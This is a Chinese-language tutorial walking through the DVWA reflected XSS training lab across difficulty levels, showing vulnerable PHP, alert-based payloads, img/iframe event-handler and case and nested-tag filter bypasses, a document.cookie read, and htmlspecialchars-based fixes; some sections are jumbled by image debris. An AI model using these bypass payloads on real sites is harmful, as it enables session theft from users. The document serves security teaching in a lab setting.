天天看點

DVWA-XSS(Reflected)Vulnerability: Reflected Cross Site Scripting (XSS)

反射型 XSS 是指應用程式直接将攻擊者送出的具有惡意代碼的資料回傳浏覽器,因 html 注入導緻頁面被植入惡意代碼進而被攻擊者控制浏覽器

Low

1、檢視伺服器端源代碼

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 
           

2、檢視用戶端源代碼

Vulnerability: Reflected Cross Site Scripting (XSS)

<div class="vulnerable_code_area">
	<form name="XSS" action="#" method="GET">
		<p>
			What's your name?
			<input type="text" name="name">
			<input type="submit" value="Submit">
		</p>

	</form>
	<pre>Hello kk</pre>
</div>
**值得注意的是,#将構造的payload注釋掉了**
**應用程式直接将送出資料輸出到 html 頁面,未對送出資料做任何過濾檢查和轉義操作,可直接使用送出資料包含 xss payload 進行攻擊**
           

3、構造payload

http://localhost/dvwa-master/vulnerabilities/xss_r/?name=kk<script>alert(1)</script>
           

利用hackbar

DVWA-XSS(Reflected)Vulnerability: Reflected Cross Site Scripting (XSS)

或者直接在文本框中輸入攻擊語句

顯示cookie資料

DVWA-XSS(Reflected)Vulnerability: Reflected Cross Site Scripting (XSS)
DVWA-XSS(Reflected)Vulnerability: Reflected Cross Site Scripting (XSS)
DVWA-XSS(Reflected)Vulnerability: Reflected Cross Site Scripting (XSS)
DVWA-XSS(Reflected)Vulnerability: Reflected Cross Site Scripting (XSS)

![在這裡插入圖檔描述](https://img-blog.csdnimg.cn/2020013113372318.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDg2NjEzOQ==,size_16,color_FFFFFF,t_70) 重定向 ![在這裡插入圖檔描述](https://img-blog.csdnimg.cn/20200131141635547.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDg2NjEzOQ==,size_16,color_FFFFFF,t_70) ![在這裡插入圖檔描述](https://img-blog.csdnimg.cn/2020013114210612.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDg2NjEzOQ==,size_16,color_FFFFFF,t_70) **2、檢視用戶端源代碼** ![在這裡插入圖檔描述](https://img-blog.csdnimg.cn/20200131142334630.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDg2NjEzOQ==,size_16,color_FFFFFF,t_70) **3、構造payload** 說明: 應用程式直接将送出資料中的

<img src="" onerror="alert(/xss/)"/>
           
<iframe src="" onload="alert(document.cookie)"></iframe>
           

依然适用

還可以利用大小寫變換

<Script>alert(/xss/)</sCRipt>
           
DVWA-XSS(Reflected)Vulnerability: Reflected Cross Site Scripting (XSS)

二次變化

<sc<script>ript>alert(/xss/)</script>
           
DVWA-XSS(Reflected)Vulnerability: Reflected Cross Site Scripting (XSS)

High

1、檢視伺服器端代碼

直接輸入

DVWA-XSS(Reflected)Vulnerability: Reflected Cross Site Scripting (XSS)
DVWA-XSS(Reflected)Vulnerability: Reflected Cross Site Scripting (XSS)

2、構造payload

說明:

應用程式直接将送出資料中的<script 字元串進行過濾後輸出到 html 頁面,但可以通過iframe、img 等标簽進行繞過,進而成功利用漏洞

DVWA-XSS(Reflected)Vulnerability: Reflected Cross Site Scripting (XSS)

Impassible

修複建議:

a) 禁用 js 讀取 cookie(設定 cookie 為 httponly)

b) 在頁面輸出資料時對<、>、&、 '、"、/等字元進行 html 實體轉義

c) 對輸入資料中<、>、&、 '、"進行嚴格檢查

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
           

Impossible級别的代碼使用htmlspecialchars函數把預定義的字元&、”、 ’、<、>轉換為HTML實體,防止浏覽器将其作為HTML元素

tocken

繼續閱讀